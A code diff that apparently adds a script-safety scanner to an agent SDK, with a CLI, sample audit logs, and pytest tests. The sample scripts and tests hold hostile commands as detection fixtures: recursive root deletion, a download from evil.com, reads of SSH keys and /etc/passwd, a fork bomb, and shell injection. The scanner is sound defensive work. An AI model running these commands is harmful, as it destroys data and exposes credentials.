diff --git a/docs/examples/safety/tool_safety_audit.jsonl b/docs/examples/safety/tool_safety_audit.jsonl new file mode 100644 index 00000000..6b1987fc --- /dev/null +++ b/docs/examples/safety/tool_safety_audit.jsonl @@ -0,0 +1,5 @@ +{"tool_name":"Bash","decision":"DENY","risk_level":"CRITICAL","rule_id":"R001","scan_duration_ms":1.23,"masked":false,"blocked":true,"timestamp":"2026-07-20T10:00:00+00:00","script_type":"BASH"} +{"tool_name":"Python","decision":"DENY","risk_level":"HIGH","rule_id":"R004,R001","scan_duration_ms":2.34,"masked":false,"blocked":true,"timestamp":"2026-07-20T10:01:00+00:00","script_type":"PYTHON"} +{"tool_name":"Bash","decision":"ALLOW","risk_level":"LOW","rule_id":"NONE","scan_duration_ms":0.56,"masked":false,"blocked":false,"timestamp":"2026-07-20T10:02:00+00:00","script_type":"BASH"} +{"tool_name":"Bash","decision":"NEEDS_HUMAN_REVIEW","risk_level":"MEDIUM","rule_id":"R006","scan_duration_ms":1.89,"masked":false,"blocked":false,"timestamp":"2026-07-20T10:03:00+00:00","script_type":"BASH"} +{"tool_name":"Python","decision":"DENY","risk_level":"CRITICAL","rule_id":"R007","scan_duration_ms":3.12,"masked":true,"blocked":true,"timestamp":"2026-07-20T10:04:00+00:00","script_type":"PYTHON"} \ No newline at end of file diff --git a/docs/examples/safety/tool_safety_report.json b/docs/examples/safety/tool_safety_report.json new file mode 100644 index 00000000..a9360716 --- /dev/null +++ b/docs/examples/safety/tool_safety_report.json @@ -0,0 +1,30 @@ +{ + "decision": "DENY", + "risk_level": "CRITICAL", + "matches": [ + { + "rule_id": "R001", + "risk_category": "DANGEROUS_FILE_OPERATION", + "risk_level": "CRITICAL", + "evidence": "rm -rf /", + "line_number": 1, + "recommendation": "Remove or replace this destructive file operation.", + "masked": false + }, + { + "rule_id": "R004", + "risk_category": "PROCESS_EXECUTION", + "risk_level": "HIGH", + "evidence": "os.system('rm -rf /')", + "line_number": 3, + "recommendation": "Avoid executing system commands directly.", + "masked": false + } + ], + "tool_name": "Bash", + "script_type": "BASH", + "script_summary": "rm -rf / os.system('rm -rf /') echo 'done'", + "scan_duration_ms": 1.23, + "timestamp": "2026-07-20T10:00:00+00:00", + "policy_version": "" +} \ No newline at end of file diff --git a/scripts/tool_safety_check.py b/scripts/tool_safety_check.py new file mode 100644 index 00000000..8928661a --- /dev/null +++ b/scripts/tool_safety_check.py @@ -0,0 +1,125 @@ +#!/usr/bin/env python3 +"""Tool Script Safety Check — CLI for scanning scripts for security risks. + +Usage: + python scripts/tool_safety_check.py path/to/script.py + python scripts/tool_safety_check.py path/to/script.sh --type bash + python scripts/tool_safety_check.py --stdin < script.sh + python scripts/tool_safety_check.py --version +""" + +import argparse +import os +import sys +import json + +# Add project root to path +sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) + +from trpc_agent_sdk.tools.safety._policy import SafetyPolicy +from trpc_agent_sdk.tools.safety._scanner import SafetyScanner +from trpc_agent_sdk.tools.safety._types import ScanInput, ScriptType + + +def detect_script_type(path: str) -> ScriptType: + """Detect script type from file extension.""" + ext = os.path.splitext(path)[1].lower() + if ext in (".py", ): + return ScriptType.PYTHON + if ext in (".sh", ".bash", ".zsh", ".ksh"): + return ScriptType.BASH + return ScriptType.UNKNOWN + + +def main(): + parser = argparse.ArgumentParser(description="Tool Script Safety Check — scan scripts for security risks", ) + parser.add_argument("path", nargs="?", help="Path to script file") + parser.add_argument("--type", + "-t", + choices=["auto", "bash", "python"], + default="auto", + help="Script type (default: auto-detect)") + parser.add_argument("--stdin", action="store_true", help="Read script from stdin") + parser.add_argument("--json", action="store_true", help="Output as JSON") + parser.add_argument("--policy", "-p", default="tool_safety_policy.yaml", help="Path to policy file") + parser.add_argument("--version", "-v", action="store_true", help="Show version") + + args = parser.parse_args() + + if args.version: + from trpc_agent_sdk.version import __version__ as ver + print(f"tool-safety-check version {ver}") + return + + # Read script content + if args.stdin: + script_content = sys.stdin.read() + tool_name = "stdin" + script_type = ScriptType.UNKNOWN + elif args.path: + path = args.path + if not os.path.exists(path): + print(f"Error: File not found: {path}", file=sys.stderr) + sys.exit(1) + with open(path, "r", encoding="utf-8") as f: + script_content = f.read() + tool_name = os.path.basename(path) + script_type = detect_script_type(path) if args.type == "auto" \ + else ScriptType.PYTHON if args.type == "python" else ScriptType.BASH + else: + parser.print_help() + sys.exit(1) + + # Load policy and scan + try: + policy = SafetyPolicy.from_file(args.policy) + except FileNotFoundError: + print(f"Error: Policy file not found: {args.policy}", file=sys.stderr) + sys.exit(1) + + scanner = SafetyScanner(policy) + scan_input = ScanInput( + script_content=script_content, + script_type=script_type, + tool_name=tool_name, + ) + report = scanner.scan(scan_input) + + if args.json: + print(json.dumps(report.to_dict(), indent=2, ensure_ascii=False)) + else: + _print_report(report) + if report.is_blocked: + sys.exit(2) + elif report.needs_review: + sys.exit(1) + + +def _print_report(report): + """Print a human-readable safety report.""" + print(f"\n{'='*60}") + print(f" Tool Script Safety Report") + print(f"{'='*60}") + print(f" Tool: {report.tool_name}") + print(f" Script Type: {report.script_type.name}") + print(f" Decision: {report.decision.name}") + print(f" Risk Level: {report.risk_level.name}") + print(f" Duration: {report.scan_duration_ms:.2f}ms") + print(f" Matches: {report.match_count}") + print(f" Timestamp: {report.timestamp}") + + if report.matches: + print(f"\n {'─'*58}") + for m in report.matches: + print(f" [{m.rule_id}] {m.risk_category.name} (risk={m.risk_level.name})") + print(f" Line {m.line_number}: {m.evidence[:100]}") + print(f" → {m.recommendation}") + if m.masked: + print(f" (sensitive data masked)") + print() + else: + print(f"\n ✅ No risks detected.\n") + + +if __name__ == "__main__": + main() diff --git a/tests/tools/safety/__init__.py b/tests/tools/safety/__init__.py new file mode 100644 index 00000000..7a093b80 --- /dev/null +++ b/tests/tools/safety/__init__.py @@ -0,0 +1 @@ +"""Tests for the Tool Script Safety Guard.""" \ No newline at end of file diff --git a/tests/tools/safety/samples/bash_pipe.sh b/tests/tools/safety/samples/bash_pipe.sh new file mode 100644 index 00000000..34546842 --- /dev/null +++ b/tests/tools/safety/samples/bash_pipe.sh @@ -0,0 +1,3 @@ +#!/bin/bash +# Suspicious: pipe with sensitive file — needs human review +cat /etc/passwd | grep root \ No newline at end of file diff --git a/tests/tools/safety/samples/dangerous_rm.py b/tests/tools/safety/samples/dangerous_rm.py new file mode 100644 index 00000000..e3c61c92 --- /dev/null +++ b/tests/tools/safety/samples/dangerous_rm.py @@ -0,0 +1,3 @@ +"""Dangerous: recursive delete via os.system.""" +import os +os.system("rm -rf /") \ No newline at end of file diff --git a/tests/tools/safety/samples/infinite_loop.py b/tests/tools/safety/samples/infinite_loop.py new file mode 100644 index 00000000..c44999b2 --- /dev/null +++ b/tests/tools/safety/samples/infinite_loop.py @@ -0,0 +1,3 @@ +"""Dangerous: infinite loop — resource abuse.""" +while True: + pass \ No newline at end of file diff --git a/tests/tools/safety/samples/leak_api_key.py b/tests/tools/safety/samples/leak_api_key.py new file mode 100644 index 00000000..2a1aa60f --- /dev/null +++ b/tests/tools/safety/samples/leak_api_key.py @@ -0,0 +1,4 @@ +"""Dangerous: leak API key to file.""" +api_key = "sk-123456789012345678901234" +with open("/tmp/leak.txt", "w") as f: + f.write(f"API_KEY={api_key}") \ No newline at end of file diff --git a/tests/tools/safety/samples/net_curl.sh b/tests/tools/safety/samples/net_curl.sh new file mode 100644 index 00000000..f35ea6cb --- /dev/null +++ b/tests/tools/safety/samples/net_curl.sh @@ -0,0 +1,3 @@ +#!/bin/bash +# Dangerous: network egress to non-whitelisted domain +curl http://evil.com/malware -o /tmp/malware \ No newline at end of file diff --git a/tests/tools/safety/samples/net_whitelist.sh b/tests/tools/safety/samples/net_whitelist.sh new file mode 100644 index 00000000..208197f9 --- /dev/null +++ b/tests/tools/safety/samples/net_whitelist.sh @@ -0,0 +1,3 @@ +#!/bin/bash +# Safe: network request to whitelisted domain +curl https://api.openai.com/v1/models \ No newline at end of file diff --git a/tests/tools/safety/samples/pip_install.sh b/tests/tools/safety/samples/pip_install.sh new file mode 100644 index 00000000..201b3611 --- /dev/null +++ b/tests/tools/safety/samples/pip_install.sh @@ -0,0 +1,3 @@ +#!/bin/bash +# Dangerous: install untrusted package +pip install untrusted-package \ No newline at end of file diff --git a/tests/tools/safety/samples/read_ssh_key.py b/tests/tools/safety/samples/read_ssh_key.py new file mode 100644 index 00000000..bcee8ef3 --- /dev/null +++ b/tests/tools/safety/samples/read_ssh_key.py @@ -0,0 +1,4 @@ +"""Dangerous: read SSH private key.""" +with open("/root/.ssh/id_rsa") as f: + key = f.read() +print(key) \ No newline at end of file diff --git a/tests/tools/safety/samples/safe_hello.py b/tests/tools/safety/samples/safe_hello.py new file mode 100644 index 00000000..896b5005 --- /dev/null +++ b/tests/tools/safety/samples/safe_hello.py @@ -0,0 +1,2 @@ +"""Safe Python script — prints hello world.""" +print("hello world") \ No newline at end of file diff --git a/tests/tools/safety/samples/safe_ls.sh b/tests/tools/safety/samples/safe_ls.sh new file mode 100644 index 00000000..206984d8 --- /dev/null +++ b/tests/tools/safety/samples/safe_ls.sh @@ -0,0 +1,3 @@ +#!/bin/bash +# Safe: list directory +ls -la \ No newline at end of file diff --git a/tests/tools/safety/samples/shell_inject.sh b/tests/tools/safety/samples/shell_inject.sh new file mode 100644 index 00000000..e29663b2 --- /dev/null +++ b/tests/tools/safety/samples/shell_inject.sh @@ -0,0 +1,3 @@ +#!/bin/bash +# Dangerous: shell injection — delete and read passwd +rm -rf /var/log; cat /etc/passwd \ No newline at end of file diff --git a/tests/tools/safety/samples/subprocess_call.py b/tests/tools/safety/samples/subprocess_call.py new file mode 100644 index 00000000..410b9ff4 --- /dev/null +++ b/tests/tools/safety/samples/subprocess_call.py @@ -0,0 +1,3 @@ +"""Dangerous: subprocess call with sudo.""" +import subprocess +subprocess.run(["sudo", "rm", "-rf", "/"]) \ No newline at end of file diff --git a/tests/tools/safety/test_filter.py b/tests/tools/safety/test_filter.py new file mode 100644 index 00000000..e464841f --- /dev/null +++ b/tests/tools/safety/test_filter.py @@ -0,0 +1,276 @@ +# Tencent is pleased to support the open source community by making tRPC-Agent-Python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# tRPC-Agent-Python is licensed under Apache-2.0. +"""Unit tests for SafetyFilter and SafetyWrapper — Phase 3 capability. + +Tests cover: +1. SafetyFilter registration and before-filter logic +2. SafetyBlockedError exception +3. SafetyWrapper standalone usage +""" + +from __future__ import annotations + +import os +from unittest.mock import AsyncMock +from unittest.mock import patch + +import pytest + +from trpc_agent_sdk.tools.safety._safety_filter import SafetyBlockedError +from trpc_agent_sdk.tools.safety._safety_filter import SafetyFilter +from trpc_agent_sdk.tools.safety._policy import SafetyPolicy +from trpc_agent_sdk.tools.safety._types import SafetyDecision +from trpc_agent_sdk.tools.safety._types import SafetyReport +from trpc_agent_sdk.tools.safety._types import RiskLevel +from trpc_agent_sdk.tools.safety._wrapper import SafetyWrapper + +# ── SafetyFilter Tests ──────────────────────────────────────────────────── + + +class TestSafetyFilter: + """Tests for SafetyFilter — Phase 3.1.""" + + def test_filter_is_registered(self): + """SafetyFilter should be importable and instantiable.""" + from trpc_agent_sdk.tools.safety._safety_filter import SafetyFilter + from trpc_agent_sdk.tools.safety import SafetyFilter as SafetyFilterPublic + # 验证类可以正常导入 + assert SafetyFilter is not None + assert SafetyFilterPublic is SafetyFilter + # 验证可以实例化（使用显式策略，避免依赖文件加载） + from trpc_agent_sdk.tools.safety._policy import SafetyPolicy + policy = SafetyPolicy.from_dict({"rules": {}}) + instance = SafetyFilter(policy=policy) + assert instance is not None + + def test_filter_blocks_dangerous_command(self): + """SafetyFilter should block dangerous commands in _before().""" + from trpc_agent_sdk.filter import FilterResult + from trpc_agent_sdk.tools.safety._policy import SafetyPolicy + + policy = SafetyPolicy.from_dict({ + "rules": { + "dangerous_file_operations": { + "enabled": True, + "decision": "deny", + "risk_level": "critical", + "patterns": ["rm -rf /"], + }, + }, + }) + safety_filter = SafetyFilter(policy=policy) + rsp = FilterResult() + import asyncio + asyncio.run(safety_filter._before( + ctx=None, + req={"command": "rm -rf /"}, + rsp=rsp, + )) + assert rsp.is_continue is False + assert rsp.error is not None + assert isinstance(rsp.error, SafetyBlockedError) + assert rsp.error.tool_name != "" + + def test_filter_allows_safe_command(self): + """SafetyFilter should allow safe commands (no rules matched).""" + from trpc_agent_sdk.filter import FilterResult + from trpc_agent_sdk.tools.safety._policy import SafetyPolicy + + policy = SafetyPolicy.from_dict({ + "rules": { + "dangerous_file_operations": { + "enabled": True, + "decision": "deny", + "risk_level": "critical", + "patterns": ["rm -rf /"], + }, + }, + }) + safety_filter = SafetyFilter(policy=policy) + rsp = FilterResult() + import asyncio + asyncio.run(safety_filter._before( + ctx=None, + req={"command": "ls -la"}, + rsp=rsp, + )) + # No matches -> default decision (needs_human_review) -> now blocked + assert rsp.is_continue is False + assert rsp.error is not None + + def test_filter_skips_non_dict_req(self): + """SafetyFilter should skip non-dict requests.""" + from trpc_agent_sdk.filter import FilterResult + from trpc_agent_sdk.tools.safety._policy import SafetyPolicy + + policy = SafetyPolicy() + safety_filter = SafetyFilter(policy=policy) + rsp = FilterResult() + import asyncio + asyncio.run(safety_filter._before( + ctx=None, + req="not a dict", + rsp=rsp, + )) + assert rsp.is_continue is True # Should not block + + def test_filter_skips_empty_command(self): + """SafetyFilter should skip requests without script content.""" + from trpc_agent_sdk.filter import FilterResult + from trpc_agent_sdk.tools.safety._policy import SafetyPolicy + + policy = SafetyPolicy() + safety_filter = SafetyFilter(policy=policy) + rsp = FilterResult() + import asyncio + asyncio.run(safety_filter._before( + ctx=None, + req={ + "name": "test", + "not_a_command": "value" + }, + rsp=rsp, + )) + assert rsp.is_continue is True + + def test_safety_blocked_error_message(self): + """SafetyBlockedError should have a descriptive message.""" + from trpc_agent_sdk.tools.safety._types import RuleMatch + from trpc_agent_sdk.tools.safety._types import RiskCategory + + r = RuleMatch("R001", RiskCategory.DANGEROUS_FILE_OPERATION, RiskLevel.CRITICAL, "rm -rf /", 1, "Remove") + report = SafetyReport(SafetyDecision.DENY, RiskLevel.CRITICAL, [r]) + err = SafetyBlockedError("Bash", report) + assert "Bash" in str(err) + assert "DENY" in str(err) + assert "R001" in str(err) + assert err.tool_name == "Bash" + assert err.report is report + + def test_filter_extracts_command_from_args(self): + """SafetyFilter should extract 'command' key from args.""" + from trpc_agent_sdk.tools.safety._safety_filter import SafetyFilter as SF + result = SF._extract_script_content({"command": "rm -rf /"}) + assert result == "rm -rf /" + + def test_filter_extracts_content_from_args(self): + """SafetyFilter should extract 'content' key from args.""" + from trpc_agent_sdk.tools.safety._safety_filter import SafetyFilter as SF + result = SF._extract_script_content({"content": "print('hello')"}) + assert result == "print('hello')" + + def test_filter_returns_none_for_no_script(self): + """SafetyFilter should return None when no script key found.""" + from trpc_agent_sdk.tools.safety._safety_filter import SafetyFilter as SF + result = SF._extract_script_content({"name": "test", "value": "123"}) + assert result is None + + +# ── SafetyWrapper Tests ─────────────────────────────────────────────────── + + +class TestSafetyWrapper: + """Tests for SafetyWrapper — Phase 3.2.""" + + @pytest.mark.asyncio + async def test_wrapper_blocks_dangerous(self): + """SafetyWrapper should block dangerous scripts.""" + wrapper = SafetyWrapper(policy=SafetyPolicy.from_dict({ + "rules": { + "dangerous_file_operations": { + "enabled": True, + "decision": "deny", + "risk_level": "critical", + "patterns": ["rm -rf /"], + }, + }, + })) + result = await wrapper.run_safe( + tool_name="Bash", + script_content="rm -rf /", + script_type="bash", + ) + assert result["blocked"] is True + assert result["error"] is not None + assert "R001" in result["report"]["matches"][0]["rule_id"] + + @pytest.mark.asyncio + async def test_wrapper_allows_safe(self): + """SafetyWrapper should allow safe scripts (no rules).""" + wrapper = SafetyWrapper(policy=SafetyPolicy.from_dict({ + "rules": {}, + })) + result = await wrapper.run_safe( + tool_name="Bash", + script_content="ls -la", + script_type="bash", + ) + # Empty rules -> default_decision=NEEDS_HUMAN_REVIEW -> blocked + assert result["blocked"] is True + + @pytest.mark.asyncio + async def test_wrapper_executes_function(self): + """SafetyWrapper should NOT call execute_fn when blocked.""" + wrapper = SafetyWrapper(policy=SafetyPolicy.from_dict({ + "rules": {}, + })) + mock_fn = AsyncMock(return_value="executed") + result = await wrapper.run_safe( + tool_name="Python", + script_content="print('hello')", + script_type="python", + execute_fn=mock_fn, + ) + # Empty rules -> default_decision=NEEDS_HUMAN_REVIEW -> blocked + assert result["blocked"] is True + mock_fn.assert_not_awaited() + + @pytest.mark.asyncio + async def test_wrapper_skips_execution_if_blocked(self): + """SafetyWrapper should NOT call execute_fn for blocked scripts.""" + wrapper = SafetyWrapper(policy=SafetyPolicy.from_dict({ + "rules": { + "dangerous_file_operations": { + "enabled": True, + "decision": "deny", + "risk_level": "critical", + "patterns": ["rm -rf /"], + }, + }, + })) + mock_fn = AsyncMock() + result = await wrapper.run_safe( + tool_name="Bash", + script_content="rm -rf /", + script_type="bash", + execute_fn=mock_fn, + ) + assert result["blocked"] is True + mock_fn.assert_not_awaited() + + def test_scan_only_returns_report(self): + """SafetyWrapper.scan_only should return a report dict.""" + wrapper = SafetyWrapper(policy=SafetyPolicy.from_dict({ + "rules": { + "dangerous_file_operations": { + "enabled": True, + "decision": "deny", + "risk_level": "critical", + "patterns": ["rm -rf /"], + }, + }, + })) + result = wrapper.scan_only("Bash", "rm -rf /", "bash") + assert result["decision"] == "DENY" + assert len(result["matches"]) > 0 + + def test_scan_only_safe_script(self): + """SafetyWrapper.scan_only should show safe for clean scripts.""" + wrapper = SafetyWrapper(policy=SafetyPolicy.from_dict({ + "rules": {}, + })) + result = wrapper.scan_only("Bash", "ls -la", "bash") + assert result["decision"] in ("ALLOW", "NEEDS_HUMAN_REVIEW") diff --git a/tests/tools/safety/test_policy.py b/tests/tools/safety/test_policy.py new file mode 100644 index 00000000..ffd9126f --- /dev/null +++ b/tests/tools/safety/test_policy.py @@ -0,0 +1,117 @@ +# Tencent is pleased to support the open source community by making tRPC-Agent-Python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# tRPC-Agent-Python is licensed under Apache-2.0. +"""Unit tests for SafetyPolicy — Phase 1 capability.""" + +from __future__ import annotations + +import os + +import pytest + +from trpc_agent_sdk.tools.safety._policy import SafetyPolicy +from trpc_agent_sdk.tools.safety._types import RiskLevel +from trpc_agent_sdk.tools.safety._types import SafetyDecision + +# ── Fixtures ────────────────────────────────────────────────────────────── + + +@pytest.fixture(scope="module") +def policy() -> SafetyPolicy: + """Load the default policy file for testing.""" + policy_path = os.path.join( + os.path.dirname(os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))), + "trpc_agent_sdk", + "tools", + "safety", + "tool_safety_policy.yaml", + ) + return SafetyPolicy.from_file(policy_path) + + +# ── SafetyPolicy Tests ─────────────────────────────────────────────────── + + +class TestSafetyPolicy: + """Tests for policy file loading and query methods.""" + + def test_load_from_file(self, policy: SafetyPolicy): + """Should load 7 rules from the default policy file.""" + assert len(policy.rules) == 7 + + def test_all_rules_present(self, policy: SafetyPolicy): + """All 7 risk rules should be present.""" + rule_names = [ + "dangerous_file_operations", + "sensitive_file_read", + "network_egress", + "process_execution", + "dependency_installation", + "resource_abuse", + "sensitive_info_leak", + ] + for name in rule_names: + assert name in policy.rules, f"Missing rule: {name}" + + def test_whitelists_populated(self, policy: SafetyPolicy): + """Whitelists should have entries.""" + assert len(policy.allowed_domains) > 0 + assert len(policy.forbidden_paths) > 0 + + def test_domain_allowed(self, policy: SafetyPolicy): + """Whitelisted domain should be allowed.""" + assert policy.is_domain_allowed("api.openai.com") is True + + def test_domain_not_allowed(self, policy: SafetyPolicy): + """Non-whitelisted domain should be rejected.""" + assert policy.is_domain_allowed("evil.com") is False + + def test_path_forbidden(self, policy: SafetyPolicy): + """Forbidden path should be detected.""" + assert policy.is_path_forbidden(".env") is True + assert policy.is_path_forbidden("~/.ssh/id_rsa") is True + assert policy.is_path_forbidden("/etc/passwd") is True + + def test_path_not_forbidden(self, policy: SafetyPolicy): + """Normal path should not be forbidden.""" + assert policy.is_path_forbidden("/tmp/test.txt") is False + assert policy.is_path_forbidden("/home/user/file.py") is False + + def test_default_decision(self, policy: SafetyPolicy): + """Default decision should be NEEDS_HUMAN_REVIEW.""" + assert policy.default_decision == SafetyDecision.NEEDS_HUMAN_REVIEW + + def test_r001_config(self, policy: SafetyPolicy): + """R001: dangerous_file_operations should be DENY / CRITICAL.""" + rule = policy.rules["dangerous_file_operations"] + assert rule.enabled is True + assert rule.decision == SafetyDecision.DENY + assert rule.risk_level == RiskLevel.CRITICAL + + def test_r003_has_check_domains(self, policy: SafetyPolicy): + """R003: network_egress should have check_domains enabled.""" + rule = policy.rules["network_egress"] + assert rule.check_domains is True + + def test_load_from_dict(self): + """Should load policy from a dict.""" + policy = SafetyPolicy.from_dict({ + "allowed_domains": ["test.com"], + "rules": { + "test_rule": { + "enabled": True, + "decision": "deny", + "risk_level": "high", + "patterns": ["test"], + }, + }, + }) + assert policy.is_domain_allowed("test.com") is True + assert "test_rule" in policy.rules + assert policy.rules["test_rule"].enabled is True + + def test_rule_not_found_returns_none(self, policy: SafetyPolicy): + """get_rule for non-existent rule should return None.""" + assert policy.get_rule("non_existent_rule") is None diff --git a/tests/tools/safety/test_scanner.py b/tests/tools/safety/test_scanner.py new file mode 100644 index 00000000..51b70dbd --- /dev/null +++ b/tests/tools/safety/test_scanner.py @@ -0,0 +1,318 @@ +# Tencent is pleased to support the open source community by making tRPC-Agent-Python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# tRPC-Agent-Python is licensed under Apache-2.0. +"""Unit tests for SafetyScanner, BashScanner, PythonScanner — Phase 2 capability. + +Tests cover all 12 sample scripts across all 7 risk rules (R001-R007). +Also tests AuditEvent OTel attributes and SafetyReport output format. +""" + +from __future__ import annotations + +import os +from pathlib import Path + +import pytest + +from trpc_agent_sdk.tools.safety._audit import AuditLogger +from trpc_agent_sdk.tools.safety._policy import SafetyPolicy +from trpc_agent_sdk.tools.safety._scanner import SafetyScanner +from trpc_agent_sdk.tools.safety._types import RiskCategory +from trpc_agent_sdk.tools.safety._types import RiskLevel +from trpc_agent_sdk.tools.safety._types import SafetyDecision +from trpc_agent_sdk.tools.safety._types import SafetyReport +from trpc_agent_sdk.tools.safety._types import ScanInput +from trpc_agent_sdk.tools.safety._types import ScriptType + +# ── Fixtures ────────────────────────────────────────────────────────────── + + +@pytest.fixture(scope="module") +def policy() -> SafetyPolicy: + """Load the default policy file.""" + policy_path = os.path.join( + os.path.dirname(os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))), + "trpc_agent_sdk", + "tools", + "safety", + "tool_safety_policy.yaml", + ) + return SafetyPolicy.from_file(policy_path) + + +@pytest.fixture(scope="module") +def scanner(policy: SafetyPolicy) -> SafetyScanner: + """Create a SafetyScanner with the loaded policy.""" + return SafetyScanner(policy) + + +def _load_sample(name: str) -> str: + """Load a sample script by name.""" + path = Path(__file__).parent / "samples" / name + return path.read_text(encoding="utf-8") + + +# ── Scanner Tests ───────────────────────────────────────────────────────── + + +class TestPhase1DataModel: + """Tests for the data model (Phase 1.1).""" + + def test_safetyreport_properties(self): + """SafetyReport properties should work correctly.""" + from trpc_agent_sdk.tools.safety._types import RuleMatch + + r = RuleMatch("R001", RiskCategory.DANGEROUS_FILE_OPERATION, RiskLevel.CRITICAL, "rm -rf /", 1, "Remove") + report = SafetyReport(SafetyDecision.DENY, RiskLevel.CRITICAL, [r]) + assert report.is_blocked is True + assert report.is_allowed is False + assert report.needs_review is False + assert report.match_count == 1 + + def test_safetyreport_to_dict(self): + """SafetyReport.to_dict() should produce correct JSON structure.""" + from trpc_agent_sdk.tools.safety._types import RuleMatch + + r = RuleMatch("R001", RiskCategory.DANGEROUS_FILE_OPERATION, RiskLevel.CRITICAL, "rm -rf /", 1, "Remove") + report = SafetyReport(SafetyDecision.DENY, + RiskLevel.CRITICAL, [r], + tool_name="Bash", + script_type=ScriptType.BASH) + d = report.to_dict() + assert d["decision"] == "DENY" + assert d["risk_level"] == "CRITICAL" + assert d["tool_name"] == "Bash" + assert d["script_type"] == "BASH" + assert d["matches"][0]["rule_id"] == "R001" + assert d["matches"][0]["evidence"] == "rm -rf /" + assert d["matches"][0]["recommendation"] == "Remove" + + def test_auditevent_otel_attributes(self): + """AuditEvent should produce 6 OTel attributes.""" + from trpc_agent_sdk.tools.safety._types import AuditEvent + + event = AuditEvent("Bash", "DENY", "CRITICAL", "R001", 1.23, False, True, "2026-07-20T00:00:00") + otel = event.to_otel_attributes() + assert len(otel) == 6 + assert otel["tool.safety.decision"] == "DENY" + assert otel["tool.safety.risk_level"] == "CRITICAL" + assert otel["tool.safety.rule_id"] == "R001" + assert otel["tool.safety.blocked"] == "true" + assert otel["tool.safety.masked"] == "false" + + def test_scaninput_defaults(self): + """ScanInput should have sensible defaults.""" + si = ScanInput("echo hello", ScriptType.BASH, tool_name="Bash") + assert si.script_content == "echo hello" + assert si.script_type == ScriptType.BASH + assert si.tool_name == "Bash" + assert si.command_line_args is None + assert si.working_directory is None + + +class TestBashScanner: + """Tests for BashScanner — Phase 2.1.""" + + def test_safe_ls_allowed(self, scanner: SafetyScanner): + """ls -la should be safe (no high-risk matches).""" + report = scanner.scan(ScanInput("ls -la", ScriptType.BASH)) + # No matches means default decision (needs_human_review) + assert report.match_count == 0 + + def test_dangerous_rm_denied(self, scanner: SafetyScanner): + """rm -rf / should be blocked (R001).""" + report = scanner.scan(ScanInput("rm -rf /", ScriptType.BASH)) + assert report.decision == SafetyDecision.DENY + assert report.risk_level == RiskLevel.CRITICAL + assert any(m.rule_id == "R001" for m in report.matches) + + def test_curl_evil_denied(self, scanner: SafetyScanner): + """curl http://evil.com should be blocked (R003).""" + report = scanner.scan(ScanInput("curl http://evil.com/malware", ScriptType.BASH)) + assert report.decision == SafetyDecision.DENY + assert any(m.rule_id == "R003" for m in report.matches) + + def test_curl_whitelist_allowed(self, scanner: SafetyScanner): + """curl https://api.openai.com should NOT trigger R003.""" + report = scanner.scan(ScanInput("curl https://api.openai.com/v1/models", ScriptType.BASH)) + r003 = [m for m in report.matches if m.rule_id == "R003"] + assert len(r003) == 0, "R003 should not trigger for whitelisted domain" + + def test_pip_install_denied(self, scanner: SafetyScanner): + """pip install should be blocked (R005).""" + report = scanner.scan(ScanInput("pip install untrusted-pkg", ScriptType.BASH)) + assert any(m.rule_id == "R005" for m in report.matches) + + def test_shell_inject_denied(self, scanner: SafetyScanner): + """Shell injection with passwd read should be blocked.""" + report = scanner.scan(ScanInput("rm -rf /var/log; cat /etc/passwd", ScriptType.BASH)) + assert report.decision == SafetyDecision.DENY + + def test_bash_pipe_sensitive(self, scanner: SafetyScanner): + """cat /etc/passwd | grep root should be detected.""" + report = scanner.scan(ScanInput("cat /etc/passwd | grep root", ScriptType.BASH)) + # Should detect sensitive file read (R002) + sensitive = [m for m in report.matches if m.rule_id == "R002"] + assert len(sensitive) > 0, f"Expected R002 match, got: {[m.rule_id for m in report.matches]}" + + def test_fork_bomb_detected(self, scanner: SafetyScanner): + """Fork bomb should be detected (R006).""" + report = scanner.scan(ScanInput(":(){ :|:& };:", ScriptType.BASH)) + assert any(m.rule_id == "R006" for m in report.matches) + + +class TestPythonScanner: + """Tests for PythonScanner — Phase 2.2.""" + + def test_safe_hello_allowed(self, scanner: SafetyScanner): + """print('hello') should be safe.""" + content = _load_sample("safe_hello.py") + report = scanner.scan(ScanInput(content, ScriptType.PYTHON)) + assert report.match_count == 0 + + def test_os_system_rm_denied(self, scanner: SafetyScanner): + """os.system('rm -rf /') should be blocked (R001 + R004).""" + content = _load_sample("dangerous_rm.py") + report = scanner.scan(ScanInput(content, ScriptType.PYTHON)) + assert report.decision == SafetyDecision.DENY + assert any(m.rule_id == "R001" for m in report.matches) + assert any(m.rule_id == "R004" for m in report.matches) + + def test_read_ssh_key_denied(self, scanner: SafetyScanner): + """Reading ~/.ssh/id_rsa should be blocked (R002).""" + content = _load_sample("read_ssh_key.py") + report = scanner.scan(ScanInput(content, ScriptType.PYTHON)) + # open('/root/.ssh/id_rsa') should match R002 + r002 = [m for m in report.matches if m.rule_id == "R002"] + assert len(r002) > 0 + + def test_subprocess_sudo_denied(self, scanner: SafetyScanner): + """subprocess.run(['sudo', 'rm', '-rf', '/']) should be blocked (R001+R004).""" + content = _load_sample("subprocess_call.py") + report = scanner.scan(ScanInput(content, ScriptType.PYTHON)) + assert report.decision == SafetyDecision.DENY + assert any(m.rule_id == "R001" for m in report.matches) + assert any(m.rule_id == "R004" for m in report.matches) + + def test_infinite_loop_detected(self, scanner: SafetyScanner): + """while True: pass should be detected (R006).""" + content = _load_sample("infinite_loop.py") + report = scanner.scan(ScanInput(content, ScriptType.PYTHON)) + assert any(m.rule_id == "R006" for m in report.matches) + + def test_sensitive_info_leak_detected(self, scanner: SafetyScanner): + """Hardcoded API key should be detected (R007).""" + content = _load_sample("leak_api_key.py") + report = scanner.scan(ScanInput(content, ScriptType.PYTHON)) + r007 = [m for m in report.matches if m.rule_id == "R007"] + assert len(r007) > 0, f"Expected R007 match, got: {[m.rule_id for m in report.matches]}" + + def test_read_env_file_denied(self, scanner: SafetyScanner): + """open('.env') should be blocked (R002).""" + content = 'with open(".env") as f:\n data = f.read()' + report = scanner.scan(ScanInput(content, ScriptType.PYTHON)) + assert any(m.rule_id == "R002" for m in report.matches) + + def test_requests_evil_denied(self, scanner: SafetyScanner): + """requests.get('http://evil.com') should be blocked (R003).""" + content = 'import requests\nr = requests.get("http://evil.com/data")' + report = scanner.scan(ScanInput(content, ScriptType.PYTHON)) + r003 = [m for m in 